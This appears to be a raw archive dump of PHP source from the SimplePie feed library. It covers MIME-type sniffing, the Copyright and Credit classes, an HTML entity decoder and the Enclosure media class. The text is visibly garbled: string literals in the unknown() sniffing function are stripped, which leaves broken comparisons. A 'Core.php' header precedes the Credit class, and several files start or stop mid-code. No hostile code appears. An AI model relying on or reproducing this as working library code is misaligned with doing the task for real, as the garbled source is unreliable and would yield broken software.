substr($this->file->headers['content-type'], 0, $pos); } else { $official = $this->file->headers['content-type']; } $official = trim(strtolower($official)); if ($official === 'unknown/unknown' || $official === 'application/unknown') { return $this->unknown(); } elseif (substr($official, -4) === '+xml' || $official === 'text/xml' || $official === 'application/xml') { return $official; } elseif (substr($official, 0, 6) === 'image/') { if ($return = $this->image()) { return $return; } return $official; } elseif ($official === 'text/html') { return $this->feed_or_html(); } return $official; } return $this->unknown(); } /** * Sniff text or binary * * @return string Actual Content-Type */ public function text_or_binary() { if (substr($this->file->body, 0, 2) === "\xFE\xFF" || substr($this->file->body, 0, 2) === "\xFF\xFE" || substr($this->file->body, 0, 4) === "\x00\x00\xFE\xFF" || substr($this->file->body, 0, 3) === "\xEF\xBB\xBF") { return 'text/plain'; } elseif (preg_match('/[\x00-\x08\x0E-\x1A\x1C-\x1F]/', $this->file->body)) { return 'application/octet-stream'; } return 'text/plain'; } /** * Sniff unknown * * @return string Actual Content-Type */ public function unknown() { $ws = strspn($this->file->body, "\x09\x0A\x0B\x0C\x0D\x20"); if (strtolower(substr($this->file->body, $ws, 14)) === 'file->body, $ws, 5)) === 'file->body, $ws, 7)) === 'file->body, 0, 5) === '%PDF-') { return 'application/pdf'; } elseif (substr($this->file->body, 0, 11) === '%!PS-Adobe-') { return 'application/postscript'; } elseif (substr($this->file->body, 0, 6) === 'GIF87a' || substr($this->file->body, 0, 6) === 'GIF89a') { return 'image/gif'; } elseif (substr($this->file->body, 0, 8) === "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A") { return 'image/png'; } elseif (substr($this->file->body, 0, 3) === "\xFF\xD8\xFF") { return 'image/jpeg'; } elseif (substr($this->file->body, 0, 2) === "\x42\x4D") { return 'image/bmp'; } elseif (substr($this->file->body, 0, 4) === "\x00\x00\x01\x00") { return 'image/vnd.microsoft.icon'; } return $this->text_or_binary(); } /** * Sniff images * * @return string Actual Content-Type */ public function image() { if (substr($this->file->body, 0, 6) === 'GIF87a' || substr($this->file->body, 0, 6) === 'GIF89a') { return 'image/gif'; } elseif (substr($this->file->body, 0, 8) === "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A") { return 'image/png'; } elseif (substr($this->file->body, 0, 3) === "\xFF\xD8\xFF") { return 'image/jpeg'; } elseif (substr($this->file->body, 0, 2) === "\x42\x4D") { return 'image/bmp'; } elseif (substr($this->file->body, 0, 4) === "\x00\x00\x01\x00") { return 'image/vnd.microsoft.icon'; } return false; } /** * Sniff HTML * * @return string Actual Content-Type */ public function feed_or_html() { $len = strlen($this->file->body); $pos = strspn($this->file->body, "\x09\x0A\x0D\x20\xEF\xBB\xBF"); while ($pos < $len) { switch ($this->file->body[$pos]) { case "\x09": case "\x0A": case "\x0D": case "\x20": $pos += strspn($this->file->body, "\x09\x0A\x0D\x20", $pos); continue 2; case '<': $pos++; break; default: return 'text/html'; } if (substr($this->file->body, $pos, 3) === '!--') { $pos += 3; if ($pos < $len && ($pos = strpos($this->file->body, '-->', $pos)) !== false) { $pos += 3; } else { return 'text/html'; } } elseif (substr($this->file->body, $pos, 1) === '!') { if ($pos < $len && ($pos = strpos($this->file->body, '>', $pos)) !== false) { $pos++; } else { return 'text/html'; } } elseif (substr($this->file->body, $pos, 1) === '?') { if ($pos < $len && ($pos = strpos($this->file->body, '?>', $pos)) !== false) { $pos += 2; } else { return 'text/html'; } } elseif (substr($this->file->body, $pos, 3) === 'rss' || substr($this->file->body, $pos, 7) === 'rdf:RDF') { return 'application/rss+xml'; } elseif (substr($this->file->body, $pos, 4) === 'feed') { return 'application/atom+xml'; } else { return 'text/html'; } } return 'text/html'; } } SimplePie/Copyright.php000064400000006347151202620270011123 0ustar00` copyright tags as defined in Media RSS * * Used by {@see SimplePie_Enclosure::get_copyright()} * * This class can be overloaded with {@see SimplePie::set_copyright_class()} * * @package SimplePie * @subpackage API */ class SimplePie_Copyright { /** * Copyright URL * * @var string * @see get_url() */ var $url; /** * Attribution * * @var string * @see get_attribution() */ var $label; /** * Constructor, used to input the data * * For documentation on all the parameters, see the corresponding * properties and their accessors */ public function __construct($url = null, $label = null) { $this->url = $url; $this->label = $label; } /** * String-ified version * * @return string */ public function __toString() { // There is no $this->data here return md5(serialize($this)); } /** * Get the copyright URL * * @return string|null URL to copyright information */ public function get_url() { if ($this->url !== null) { return $this->url; } return null; } /** * Get the attribution text * * @return string|null */ public function get_attribution() { if ($this->label !== null) { return $this->label; } return null; } } SimplePie/Core.php000064400000004273151202620270010037 0ustar00` as defined in Media RSS * * Used by {@see SimplePie_Enclosure::get_credit()} and {@see SimplePie_Enclosure::get_credits()} * * This class can be overloaded with {@see SimplePie::set_credit_class()} * * @package SimplePie * @subpackage API */ class SimplePie_Credit { /** * Credited role * * @var string * @see get_role() */ var $role; /** * Organizational scheme * * @var string * @see get_scheme() */ var $scheme; /** * Credited name * * @var string * @see get_name() */ var $name; /** * Constructor, used to input the data * * For documentation on all the parameters, see the corresponding * properties and their accessors */ public function __construct($role = null, $scheme = null, $name = null) { $this->role = $role; $this->scheme = $scheme; $this->name = $name; } /** * String-ified version * * @return string */ public function __toString() { // There is no $this->data here return md5(serialize($this)); } /** * Get the role of the person receiving credit * * @return string|null */ public function get_role() { if ($this->role !== null) { return $this->role; } return null; } /** * Get the organizational scheme * * @return string|null */ public function get_scheme() { if ($this->scheme !== null) { return $this->scheme; } return null; } /** * Get the credited person/entity's name * * @return string|null */ public function get_name() { if ($this->name !== null) { return $this->name; } return null; } } SimplePie/Decode/HTML/Entities.php000064400000041531151202620270012660 0ustar00data = $data; } /** * Parse the input data * * @access public * @return string Output data */ public function parse() { while (($this->position = strpos($this->data, '&', $this->position)) !== false) { $this->consume(); $this->entity(); $this->consumed = ''; } return $this->data; } /** * Consume the next byte * * @access private * @return mixed The next byte, or false, if there is no more data */ public function consume() { if (isset($this->data[$this->position])) { $this->consumed .= $this->data[$this->position]; return $this->data[$this->position++]; } return false; } /** * Consume a range of characters * * @access private * @param string $chars Characters to consume * @return mixed A series of characters that match the range, or false */ public function consume_range($chars) { if ($len = strspn($this->data, $chars, $this->position)) { $data = substr($this->data, $this->position, $len); $this->consumed .= $data; $this->position += $len; return $data; } return false; } /** * Unconsume one byte * * @access private */ public function unconsume() { $this->consumed = substr($this->consumed, 0, -1); $this->position--; } /** * Decode an entity * * @access private */ public function entity() { switch ($this->consume()) { case "\x09": case "\x0A": case "\x0B": case "\x0C": case "\x20": case "\x3C": case "\x26": case false: break; case "\x23": switch ($this->consume()) { case "\x78": case "\x58": $range = '0123456789ABCDEFabcdef'; $hex = true; break; default: $range = '0123456789'; $hex = false; $this->unconsume(); break; } if ($codepoint = $this->consume_range($range)) { static $windows_1252_specials = array(0x0D => "\x0A", 0x80 => "\xE2\x82\xAC", 0x81 => "\xEF\xBF\xBD", 0x82 => "\xE2\x80\x9A", 0x83 => "\xC6\x92", 0x84 => "\xE2\x80\x9E", 0x85 => "\xE2\x80\xA6", 0x86 => "\xE2\x80\xA0", 0x87 => "\xE2\x80\xA1", 0x88 => "\xCB\x86", 0x89 => "\xE2\x80\xB0", 0x8A => "\xC5\xA0", 0x8B => "\xE2\x80\xB9", 0x8C => "\xC5\x92", 0x8D => "\xEF\xBF\xBD", 0x8E => "\xC5\xBD", 0x8F => "\xEF\xBF\xBD", 0x90 => "\xEF\xBF\xBD", 0x91 => "\xE2\x80\x98", 0x92 => "\xE2\x80\x99", 0x93 => "\xE2\x80\x9C", 0x94 => "\xE2\x80\x9D", 0x95 => "\xE2\x80\xA2", 0x96 => "\xE2\x80\x93", 0x97 => "\xE2\x80\x94", 0x98 => "\xCB\x9C", 0x99 => "\xE2\x84\xA2", 0x9A => "\xC5\xA1", 0x9B => "\xE2\x80\xBA", 0x9C => "\xC5\x93", 0x9D => "\xEF\xBF\xBD", 0x9E => "\xC5\xBE", 0x9F => "\xC5\xB8"); if ($hex) { $codepoint = hexdec($codepoint); } else { $codepoint = intval($codepoint); } if (isset($windows_1252_specials[$codepoint])) { $replacement = $windows_1252_specials[$codepoint]; } else { $replacement = SimplePie_Misc::codepoint_to_utf8($codepoint); } if (!in_array($this->consume(), array(';', false), true)) { $this->unconsume(); } $consumed_length = strlen($this->consumed); $this->data = substr_replace($this->data, $replacement, $this->position - $consumed_length, $consumed_length); $this->position += strlen($replacement) - $consumed_length; } break; default: static $entities = array( 'Aacute' => "\xC3\x81", 'aacute' => "\xC3\xA1", 'Aacute;' => "\xC3\x81", 'aacute;' => "\xC3\xA1", 'Acirc' => "\xC3\x82", 'acirc' => "\xC3\xA2", 'Acirc;' => "\xC3\x82", 'acirc;' => "\xC3\xA2", 'acute' => "\xC2\xB4", 'acute;' => "\xC2\xB4", 'AElig' => "\xC3\x86", 'aelig' => "\xC3\xA6", 'AElig;' => "\xC3\x86", 'aelig;' => "\xC3\xA6", 'Agrave' => "\xC3\x80", 'agrave' => "\xC3\xA0", 'Agrave;' => "\xC3\x80", 'agrave;' => "\xC3\xA0", 'alefsym;' => "\xE2\x84\xB5", 'Alpha;' => "\xCE\x91", 'alpha;' => "\xCE\xB1", 'AMP' => "\x26", 'amp' => "\x26", 'AMP;' => "\x26", 'amp;' => "\x26", 'and;' => "\xE2\x88\xA7", 'ang;' => "\xE2\x88\xA0", 'apos;' => "\x27", 'Aring' => "\xC3\x85", 'aring' => "\xC3\xA5", 'Aring;' => "\xC3\x85", 'aring;' => "\xC3\xA5", 'asymp;' => "\xE2\x89\x88", 'Atilde' => "\xC3\x83", 'atilde' => "\xC3\xA3", 'Atilde;' => "\xC3\x83", 'atilde;' => "\xC3\xA3", 'Auml' => "\xC3\x84", 'auml' => "\xC3\xA4", 'Auml;' => "\xC3\x84", 'auml;' => "\xC3\xA4", 'bdquo;' => "\xE2\x80\x9E", 'Beta;' => "\xCE\x92", 'beta;' => "\xCE\xB2", 'brvbar' => "\xC2\xA6", 'brvbar;' => "\xC2\xA6", 'bull;' => "\xE2\x80\xA2", 'cap;' => "\xE2\x88\xA9", 'Ccedil' => "\xC3\x87", 'ccedil' => "\xC3\xA7", 'Ccedil;' => "\xC3\x87", 'ccedil;' => "\xC3\xA7", 'cedil' => "\xC2\xB8", 'cedil;' => "\xC2\xB8", 'cent' => "\xC2\xA2", 'cent;' => "\xC2\xA2", 'Chi;' => "\xCE\xA7", 'chi;' => "\xCF\x87", 'circ;' => "\xCB\x86", 'clubs;' => "\xE2\x99\xA3", 'cong;' => "\xE2\x89\x85", 'COPY' => "\xC2\xA9", 'copy' => "\xC2\xA9", 'COPY;' => "\xC2\xA9", 'copy;' => "\xC2\xA9", 'crarr;' => "\xE2\x86\xB5", 'cup;' => "\xE2\x88\xAA", 'curren' => "\xC2\xA4", 'curren;' => "\xC2\xA4", 'Dagger;' => "\xE2\x80\xA1", 'dagger;' => "\xE2\x80\xA0", 'dArr;' => "\xE2\x87\x93", 'darr;' => "\xE2\x86\x93", 'deg' => "\xC2\xB0", 'deg;' => "\xC2\xB0", 'Delta;' => "\xCE\x94", 'delta;' => "\xCE\xB4", 'diams;' => "\xE2\x99\xA6", 'divide' => "\xC3\xB7", 'divide;' => "\xC3\xB7", 'Eacute' => "\xC3\x89", 'eacute' => "\xC3\xA9", 'Eacute;' => "\xC3\x89", 'eacute;' => "\xC3\xA9", 'Ecirc' => "\xC3\x8A", 'ecirc' => "\xC3\xAA", 'Ecirc;' => "\xC3\x8A", 'ecirc;' => "\xC3\xAA", 'Egrave' => "\xC3\x88", 'egrave' => "\xC3\xA8", 'Egrave;' => "\xC3\x88", 'egrave;' => "\xC3\xA8", 'empty;' => "\xE2\x88\x85", 'emsp;' => "\xE2\x80\x83", 'ensp;' => "\xE2\x80\x82", 'Epsilon;' => "\xCE\x95", 'epsilon;' => "\xCE\xB5", 'equiv;' => "\xE2\x89\xA1", 'Eta;' => "\xCE\x97", 'eta;' => "\xCE\xB7", 'ETH' => "\xC3\x90", 'eth' => "\xC3\xB0", 'ETH;' => "\xC3\x90", 'eth;' => "\xC3\xB0", 'Euml' => "\xC3\x8B", 'euml' => "\xC3\xAB", 'Euml;' => "\xC3\x8B", 'euml;' => "\xC3\xAB", 'euro;' => "\xE2\x82\xAC", 'exist;' => "\xE2\x88\x83", 'fnof;' => "\xC6\x92", 'forall;' => "\xE2\x88\x80", 'frac12' => "\xC2\xBD", 'frac12;' => "\xC2\xBD", 'frac14' => "\xC2\xBC", 'frac14;' => "\xC2\xBC", 'frac34' => "\xC2\xBE", 'frac34;' => "\xC2\xBE", 'frasl;' => "\xE2\x81\x84", 'Gamma;' => "\xCE\x93", 'gamma;' => "\xCE\xB3", 'ge;' => "\xE2\x89\xA5", 'GT' => "\x3E", 'gt' => "\x3E", 'GT;' => "\x3E", 'gt;' => "\x3E", 'hArr;' => "\xE2\x87\x94", 'harr;' => "\xE2\x86\x94", 'hearts;' => "\xE2\x99\xA5", 'hellip;' => "\xE2\x80\xA6", 'Iacute' => "\xC3\x8D", 'iacute' => "\xC3\xAD", 'Iacute;' => "\xC3\x8D", 'iacute;' => "\xC3\xAD", 'Icirc' => "\xC3\x8E", 'icirc' => "\xC3\xAE", 'Icirc;' => "\xC3\x8E", 'icirc;' => "\xC3\xAE", 'iexcl' => "\xC2\xA1", 'iexcl;' => "\xC2\xA1", 'Igrave' => "\xC3\x8C", 'igrave' => "\xC3\xAC", 'Igrave;' => "\xC3\x8C", 'igrave;' => "\xC3\xAC", 'image;' => "\xE2\x84\x91", 'infin;' => "\xE2\x88\x9E", 'int;' => "\xE2\x88\xAB", 'Iota;' => "\xCE\x99", 'iota;' => "\xCE\xB9", 'iquest' => "\xC2\xBF", 'iquest;' => "\xC2\xBF", 'isin;' => "\xE2\x88\x88", 'Iuml' => "\xC3\x8F", 'iuml' => "\xC3\xAF", 'Iuml;' => "\xC3\x8F", 'iuml;' => "\xC3\xAF", 'Kappa;' => "\xCE\x9A", 'kappa;' => "\xCE\xBA", 'Lambda;' => "\xCE\x9B", 'lambda;' => "\xCE\xBB", 'lang;' => "\xE3\x80\x88", 'laquo' => "\xC2\xAB", 'laquo;' => "\xC2\xAB", 'lArr;' => "\xE2\x87\x90", 'larr;' => "\xE2\x86\x90", 'lceil;' => "\xE2\x8C\x88", 'ldquo;' => "\xE2\x80\x9C", 'le;' => "\xE2\x89\xA4", 'lfloor;' => "\xE2\x8C\x8A", 'lowast;' => "\xE2\x88\x97", 'loz;' => "\xE2\x97\x8A", 'lrm;' => "\xE2\x80\x8E", 'lsaquo;' => "\xE2\x80\xB9", 'lsquo;' => "\xE2\x80\x98", 'LT' => "\x3C", 'lt' => "\x3C", 'LT;' => "\x3C", 'lt;' => "\x3C", 'macr' => "\xC2\xAF", 'macr;' => "\xC2\xAF", 'mdash;' => "\xE2\x80\x94", 'micro' => "\xC2\xB5", 'micro;' => "\xC2\xB5", 'middot' => "\xC2\xB7", 'middot;' => "\xC2\xB7", 'minus;' => "\xE2\x88\x92", 'Mu;' => "\xCE\x9C", 'mu;' => "\xCE\xBC", 'nabla;' => "\xE2\x88\x87", 'nbsp' => "\xC2\xA0", 'nbsp;' => "\xC2\xA0", 'ndash;' => "\xE2\x80\x93", 'ne;' => "\xE2\x89\xA0", 'ni;' => "\xE2\x88\x8B", 'not' => "\xC2\xAC", 'not;' => "\xC2\xAC", 'notin;' => "\xE2\x88\x89", 'nsub;' => "\xE2\x8A\x84", 'Ntilde' => "\xC3\x91", 'ntilde' => "\xC3\xB1", 'Ntilde;' => "\xC3\x91", 'ntilde;' => "\xC3\xB1", 'Nu;' => "\xCE\x9D", 'nu;' => "\xCE\xBD", 'Oacute' => "\xC3\x93", 'oacute' => "\xC3\xB3", 'Oacute;' => "\xC3\x93", 'oacute;' => "\xC3\xB3", 'Ocirc' => "\xC3\x94", 'ocirc' => "\xC3\xB4", 'Ocirc;' => "\xC3\x94", 'ocirc;' => "\xC3\xB4", 'OElig;' => "\xC5\x92", 'oelig;' => "\xC5\x93", 'Ograve' => "\xC3\x92", 'ograve' => "\xC3\xB2", 'Ograve;' => "\xC3\x92", 'ograve;' => "\xC3\xB2", 'oline;' => "\xE2\x80\xBE", 'Omega;' => "\xCE\xA9", 'omega;' => "\xCF\x89", 'Omicron;' => "\xCE\x9F", 'omicron;' => "\xCE\xBF", 'oplus;' => "\xE2\x8A\x95", 'or;' => "\xE2\x88\xA8", 'ordf' => "\xC2\xAA", 'ordf;' => "\xC2\xAA", 'ordm' => "\xC2\xBA", 'ordm;' => "\xC2\xBA", 'Oslash' => "\xC3\x98", 'oslash' => "\xC3\xB8", 'Oslash;' => "\xC3\x98", 'oslash;' => "\xC3\xB8", 'Otilde' => "\xC3\x95", 'otilde' => "\xC3\xB5", 'Otilde;' => "\xC3\x95", 'otilde;' => "\xC3\xB5", 'otimes;' => "\xE2\x8A\x97", 'Ouml' => "\xC3\x96", 'ouml' => "\xC3\xB6", 'Ouml;' => "\xC3\x96", 'ouml;' => "\xC3\xB6", 'para' => "\xC2\xB6", 'para;' => "\xC2\xB6", 'part;' => "\xE2\x88\x82", 'permil;' => "\xE2\x80\xB0", 'perp;' => "\xE2\x8A\xA5", 'Phi;' => "\xCE\xA6", 'phi;' => "\xCF\x86", 'Pi;' => "\xCE\xA0", 'pi;' => "\xCF\x80", 'piv;' => "\xCF\x96", 'plusmn' => "\xC2\xB1", 'plusmn;' => "\xC2\xB1", 'pound' => "\xC2\xA3", 'pound;' => "\xC2\xA3", 'Prime;' => "\xE2\x80\xB3", 'prime;' => "\xE2\x80\xB2", 'prod;' => "\xE2\x88\x8F", 'prop;' => "\xE2\x88\x9D", 'Psi;' => "\xCE\xA8", 'psi;' => "\xCF\x88", 'QUOT' => "\x22", 'quot' => "\x22", 'QUOT;' => "\x22", 'quot;' => "\x22", 'radic;' => "\xE2\x88\x9A", 'rang;' => "\xE3\x80\x89", 'raquo' => "\xC2\xBB", 'raquo;' => "\xC2\xBB", 'rArr;' => "\xE2\x87\x92", 'rarr;' => "\xE2\x86\x92", 'rceil;' => "\xE2\x8C\x89", 'rdquo;' => "\xE2\x80\x9D", 'real;' => "\xE2\x84\x9C", 'REG' => "\xC2\xAE", 'reg' => "\xC2\xAE", 'REG;' => "\xC2\xAE", 'reg;' => "\xC2\xAE", 'rfloor;' => "\xE2\x8C\x8B", 'Rho;' => "\xCE\xA1", 'rho;' => "\xCF\x81", 'rlm;' => "\xE2\x80\x8F", 'rsaquo;' => "\xE2\x80\xBA", 'rsquo;' => "\xE2\x80\x99", 'sbquo;' => "\xE2\x80\x9A", 'Scaron;' => "\xC5\xA0", 'scaron;' => "\xC5\xA1", 'sdot;' => "\xE2\x8B\x85", 'sect' => "\xC2\xA7", 'sect;' => "\xC2\xA7", 'shy' => "\xC2\xAD", 'shy;' => "\xC2\xAD", 'Sigma;' => "\xCE\xA3", 'sigma;' => "\xCF\x83", 'sigmaf;' => "\xCF\x82", 'sim;' => "\xE2\x88\xBC", 'spades;' => "\xE2\x99\xA0", 'sub;' => "\xE2\x8A\x82", 'sube;' => "\xE2\x8A\x86", 'sum;' => "\xE2\x88\x91", 'sup;' => "\xE2\x8A\x83", 'sup1' => "\xC2\xB9", 'sup1;' => "\xC2\xB9", 'sup2' => "\xC2\xB2", 'sup2;' => "\xC2\xB2", 'sup3' => "\xC2\xB3", 'sup3;' => "\xC2\xB3", 'supe;' => "\xE2\x8A\x87", 'szlig' => "\xC3\x9F", 'szlig;' => "\xC3\x9F", 'Tau;' => "\xCE\xA4", 'tau;' => "\xCF\x84", 'there4;' => "\xE2\x88\xB4", 'Theta;' => "\xCE\x98", 'theta;' => "\xCE\xB8", 'thetasym;' => "\xCF\x91", 'thinsp;' => "\xE2\x80\x89", 'THORN' => "\xC3\x9E", 'thorn' => "\xC3\xBE", 'THORN;' => "\xC3\x9E", 'thorn;' => "\xC3\xBE", 'tilde;' => "\xCB\x9C", 'times' => "\xC3\x97", 'times;' => "\xC3\x97", 'TRADE;' => "\xE2\x84\xA2", 'trade;' => "\xE2\x84\xA2", 'Uacute' => "\xC3\x9A", 'uacute' => "\xC3\xBA", 'Uacute;' => "\xC3\x9A", 'uacute;' => "\xC3\xBA", 'uArr;' => "\xE2\x87\x91", 'uarr;' => "\xE2\x86\x91", 'Ucirc' => "\xC3\x9B", 'ucirc' => "\xC3\xBB", 'Ucirc;' => "\xC3\x9B", 'ucirc;' => "\xC3\xBB", 'Ugrave' => "\xC3\x99", 'ugrave' => "\xC3\xB9", 'Ugrave;' => "\xC3\x99", 'ugrave;' => "\xC3\xB9", 'uml' => "\xC2\xA8", 'uml;' => "\xC2\xA8", 'upsih;' => "\xCF\x92", 'Upsilon;' => "\xCE\xA5", 'upsilon;' => "\xCF\x85", 'Uuml' => "\xC3\x9C", 'uuml' => "\xC3\xBC", 'Uuml;' => "\xC3\x9C", 'uuml;' => "\xC3\xBC", 'weierp;' => "\xE2\x84\x98", 'Xi;' => "\xCE\x9E", 'xi;' => "\xCE\xBE", 'Yacute' => "\xC3\x9D", 'yacute' => "\xC3\xBD", 'Yacute;' => "\xC3\x9D", 'yacute;' => "\xC3\xBD", 'yen' => "\xC2\xA5", 'yen;' => "\xC2\xA5", 'yuml' => "\xC3\xBF", 'Yuml;' => "\xC5\xB8", 'yuml;' => "\xC3\xBF", 'Zeta;' => "\xCE\x96", 'zeta;' => "\xCE\xB6", 'zwj;' => "\xE2\x80\x8D", 'zwnj;' => "\xE2\x80\x8C" ); for ($i = 0, $match = null; $i < 9 && $this->consume() !== false; $i++) { $consumed = substr($this->consumed, 1); if (isset($entities[$consumed])) { $match = $consumed; } } if ($match !== null) { $this->data = substr_replace($this->data, $entities[$match], $this->position - strlen($consumed) - 1, strlen($match) + 1); $this->position += strlen($entities[$match]) - strlen($consumed) - 1; } break; } } } SimplePie/Enclosure.php000064400000064413151202620270011110 0ustar00bitrate = $bitrate; $this->captions = $captions; $this->categories = $categories; $this->channels = $channels; $this->copyright = $copyright; $this->credits = $credits; $this->description = $description; $this->duration = $duration; $this->expression = $expression; $this->framerate = $framerate; $this->hashes = $hashes; $this->height = $height; $this->keywords = $keywords; $this->lang = $lang; $this->length = $length; $this->link = $link; $this->medium = $medium; $this->player = $player; $this->ratings = $ratings; $this->restrictions = $restrictions; $this->samplingrate = $samplingrate; $this->thumbnails = $thumbnails; $this->title = $title; $this->type = $type; $this->width = $width; if (class_exists('idna_convert')) { $idn = new idna_convert(); $parsed = SimplePie_Misc::parse_url($link); $this->link = SimplePie_Misc::compress_parse_url($parsed['scheme'], $idn->encode($parsed['authority']), $parsed['path'], $parsed['query'], $parsed['fragment']); } $this->handler = $this->get_handler(); // Needs to load last } /** * String-ified version * * @return string */ public function __toString() { // There is no $this->data here return md5(serialize($this)); } /** * Get the bitrate * * @return string|null */ public function get_bitrate() { if ($this->bitrate !== null) { return $this->bitrate; } return null; } /** * Get a single caption * * @param int $key * @return SimplePie_Caption|null */ public function get_caption($key = 0) { $captions = $this->get_captions(); if (isset($captions[$key])) { return $captions[$key]; } return null; } /** * Get all captions * * @return array|null Array of {@see SimplePie_Caption} objects */ public function get_captions() { if ($this->captions !== null) { return $this->captions; } return null; } /** * Get a single category * * @param int $key * @return SimplePie_Category|null */ public function get_category($key = 0) { $categories = $this->get_categories(); if (isset($categories[$key])) { return $categories[$key]; } return null; } /** * Get all categories * * @return array|null Array of {@see SimplePie_Category} objects */ public function get_categories() { if ($this->categories !== null) { return $this->categories; } return null; } /** * Get the number of audio channels * * @return int|null */ public function get_channels() { if ($this->channels !== null) { return $this->channels; } return null; } /** * Get the copyright information * * @return SimplePie_Copyright|null */ public function get_copyright() { if ($this->copyright !== null) { return $this->copyright; } return null; } /** * Get a single credit * * @param int $key * @return SimplePie_Credit|null */ public function get_credit($key = 0) { $credits = $this->get_credits(); if (isset($credits[$key])) { return $credits[$key]; } return null; } /** * Get all credits * * @return array|null Array of {@see SimplePie_Credit} objects */ public function get_credits() { if ($this->credits !== null) { return $this->credits; } return null; } /** * Get the description of the enclosure * * @return string|null */ public function get_description() { if ($this->description !== null) { return $this->description; } return null; } /** * Get the duration of the enclosure * * @param bool $convert Convert seconds into hh:mm:ss * @return string|int|null 'hh:mm:ss' string if `$convert` was specified, otherwise integer (or null if none found) */ public function get_duration($convert = false) { if ($this->duration !== null) { if ($convert) { $time = SimplePie_Misc::time_hms($this->duration); return $time; } return $this->duration; } return null; } /** * Get the expression * * @return string Probably one of 'sample', 'full', 'nonstop', 'clip'. Defaults to 'full' */ public function get_expression() { if ($this->expression !== null) { return $this->expression; } return 'full'; } /** * Get the file extension * * @return string|null */ public function get_extension() { if ($this->link !== null) { $url = SimplePie_Misc::parse_url($this->link); if ($url['path'] !== '') { return pathinfo($url['path'], PATHINFO_EXTENSION); } } return null; } /** * Get the framerate (in frames-per-second) * * @return string|null */ public function get_framerate() { if ($this->framerate !== null) { return $this->framerate; } return null; } /** * Get the preferred handler * * @return string|null One of 'flash', 'fmedia', 'quicktime', 'wmedia', 'mp3' */ public function get_handler() { return $this->get_real_type(true); } /** * Get a single hash * * @link http://www.rssboard.org/media-rss#media-hash * @param int $key * @return string|null Hash as per `media:hash`, prefixed with "$algo:" */ public function get_hash($key = 0) { $hashes = $this->get_hashes(); if (isset($hashes[$key])) { return $hashes[$key]; } return null; } /** * Get all credits * * @return array|null Array of strings, see {@see get_hash()} */ public function get_hashes() { if ($this->hashes !== null) { return $this->hashes; } return null; } /** * Get the height * * @return string|null */ public function get_height() { if ($this->height !== null) { return $this->height; } return null; } /** * Get the language * * @link http://tools.ietf.org/html/rfc3066 * @return string|null Language code as per RFC 3066 */ public function get_language() { if ($this->lang !== null) { return $this->lang; } return null; } /** * Get a single keyword * * @param int $key * @return string|null */ public function get_keyword($key = 0) { $keywords = $this->get_keywords(); if (isset($keywords[$key])) { return $keywords[$key]; } return null; } /** * Get all keywords * * @return array|null Array of strings */ public function get_keywords() { if ($this->keywords !== null) { return $this->keywords; } return null; } /** * Get length * * @return float Length in bytes */ public function get_length() { if ($this->length !== null) { return $this->length; } return null; } /** * Get the URL * * @return string|null */ public function get_link() { if ($this->link !== null) { return urldecode($this->link); } return null; } /** * Get the medium * * @link http://www.rssboard.org/media-rss#media-content * @return string|null Should be one of 'image', 'audio', 'video', 'document', 'executable' */ public function get_medium() { if ($this->medium !== null) { return $this->medium; } return null; } /** * Get the player URL * * Typically the same as {@see get_permalink()} * @return string|null Player URL */ public function get_player() { if ($this->player !== null) { return $this->player; } return null; } /** * Get a single rating * * @param int $key * @return SimplePie_Rating|null */ public function get_rating($key = 0) { $ratings = $this->get_ratings(); if (isset($ratings[$key])) { return $ratings[$key]; } return null; } /** * Get all ratings * * @return array|null Array of {@see SimplePie_Rating} objects */ public function get_ratings() { if ($this->ratings !== null) { return $this->ratings; } return null; } /** * Get a single restriction * * @param int $key * @return SimplePie_Restriction|null */ public function get_restriction($key = 0) { $restrictions = $this->get_restrictions(); if (isset($restrictions[$key])) { return $restrictions[$key]; } return null; } /** * Get all restrictions * * @return array|null Array of {@see SimplePie_Restriction} objects */ public function get_restrictions() { if ($this->restrictions !== null) { return $this->restrictions; } return null; } /** * Get the sampling rate (in kHz) * * @return string|null */ public function get_sampling_rate() { if ($this->samplingrate !== null) { return $this->samplingrate; } return null; } /** * Get the file size (in MiB) * * @return float|null File size in mebibytes (1048 bytes) */ public function get_size() { $length = $this->get_length(); if ($length !== null) { return round($length/1048576, 2); } return null; } /** * Get a single thumbnail * * @param int $key * @return string|null Thumbnail URL */ public function get_thumbnail($key = 0) { $thumbnails = $this->get_thumbnails(); if (isset($thumbnails[$key])) { return $thumbnails[$key]; } return null; } /** * Get all thumbnails * * @return array|null Array of thumbnail URLs */ public function get_thumbnails() { if ($this->thumbnails !== null) { return $this->thumbnails; } return null; } /** * Get the title * * @return string|null */ public function get_title() { if ($this->title !== null) { return $this->title; } return null; } /** * Get mimetype of the enclosure * * @see get_real_type() * @return string|null MIME type */ public function get_type() { if ($this->type !== null) { return $this->type; } return null; } /** * Get the width * * @return string|null */ public function get_width() { if ($this->width !== null) { return $this->width; } return null; } /** * Embed the enclosure using `` * * @deprecated Use the second parameter to {@see embed} instead * * @param array|string $options See first paramter to {@see embed} * @return string HTML string to output */ public function native_embed($options='') { return $this->embed($options, true); } /** * Embed the enclosure using Javascript * * `$options` is an array or comma-separated key:value string, with the * following properties: * * - `alt` (string): Alternate content for when an end-user does not have * the appropriate handler installed or when a file type is * unsupported. Can be any text or HTML. Defaults to blank. * - `altclass` (string): If a file type is unsupported, the end-user will * see the alt text (above) linked directly to the content. That link * will have this value as its class name. Defaults to blank. * - `audio` (string): This is an image that should be used as a * placeholder for audio files before they're loaded (QuickTime-only). * Can be any relative or absolute URL. Defaults to blank. * - `bgcolor` (string): The background color for the media, if not * already transparent. Defaults to `#ffffff`. * - `height` (integer): The height of the embedded media. Accepts any * numeric pixel value (such as `360`) or `auto`. Defaults to `auto`, * and it is recommended that you use this default. * - `loop` (boolean): Do you want the media to loop when it's done? * Defaults to `false`. * - `mediaplayer` (string): The location of the included * `mediaplayer.swf` file. This allows for the playback of Flash Video * (`.flv`) files, and is the default handler for non-Odeo MP3's. * Defaults to blank. * - `video` (string): This is an image that should be used as a * placeholder for video files before they're loaded (QuickTime-only). * Can be any relative or absolute URL. Defaults to blank. * - `width` (integer): The width of the embedded media. Accepts any * numeric pixel value (such as `480`) or `auto`. Defaults to `auto`, * and it is recommended that you use this default. * - `widescreen` (boolean): Is the enclosure widescreen or standard? * This applies only to video enclosures, and will automatically resize * the content appropriately. Defaults to `false`, implying 4:3 mode. * * Note: Non-widescreen (4:3) mode with `width` and `height` set to `auto` * will default to 480x360 video resolution. Widescreen (16:9) mode with * `width` and `height` set to `auto` will default to 480x270 video resolution. * * @todo If the dimensions for media:content are defined, use them when width/height are set to 